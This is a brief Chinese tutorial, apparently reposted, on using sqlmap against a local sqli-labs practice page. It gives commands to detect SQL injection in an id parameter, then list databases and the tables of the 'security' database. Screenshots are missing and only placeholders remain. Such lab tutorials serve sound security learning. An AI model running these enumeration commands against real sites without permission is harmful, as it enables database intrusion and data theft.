sqlmap漏洞扫描使用教程（入门+图文）

2024-07-15 14:46| 来源: 网络整理| 查看: 265

废话不多说，直接给兄弟们上干货

1.扫描网站是否存在注入

例 http://127.0.0.1/sqlilabs/Less-1/?id=1 只有一个参数，网址不用加双引号（如果参数大于1，网址必须加双引号）

1）检测是否存在注入

sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1

2）存在注入则，查询当前用户下的所有数据库

sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --dbs

在这里插入图片描述

3）获取其中一个数据库中的所有表名以security数据库为例

sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 -D security --tables

在这里插入图片描述

【本文地址】

今日新闻